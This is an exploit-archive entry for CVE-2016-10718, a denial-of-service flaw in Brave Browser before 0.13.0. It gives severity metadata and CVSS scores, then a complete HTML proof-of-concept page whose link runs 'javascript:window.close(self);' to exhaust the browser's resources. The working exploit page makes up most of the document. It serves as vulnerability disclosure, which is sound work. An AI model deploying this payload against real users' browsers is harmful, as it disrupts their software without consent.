Brave Browser window.close(self) Denial Of Service

2018.04.17

Credit: Sahil Tikoo

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2016-10718

CWE: CWE-20

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Partial

# Exploit Title:Brave Browser < 0.13.0 Denial of Service (resource consumption) via a window.close(self) js code.
# Date: 2017-10-16
# Exploit Author: Sahil Tikoo
# Vendor Homepage: https://brave.com
# Software Link: https://github.com/brave/browser-laptop
# Version: 0.12.5
# Tested on: Kali Linux,Ubuntu ,Windows OS
# CVE : CVE-2016-10718
<html>
<title>Brave Window Object Remote Denial of Service.</title>
<head></head>
<body><br><br>
<h1><center>Brave Window Object Remote Denial of Service</center></h1><br><br>
<h2><center>Proof of Concept</center></br></br> </h2>
<center>
<b>Click the below link to Trigger the Vulnerability..</b><br><br>
<hr></hr>
<hr></hr>
<b><center><a href="javascript:window.close(self);">Brave Window Object DoS Test POC</a></center>
</center>
</body>
</html>

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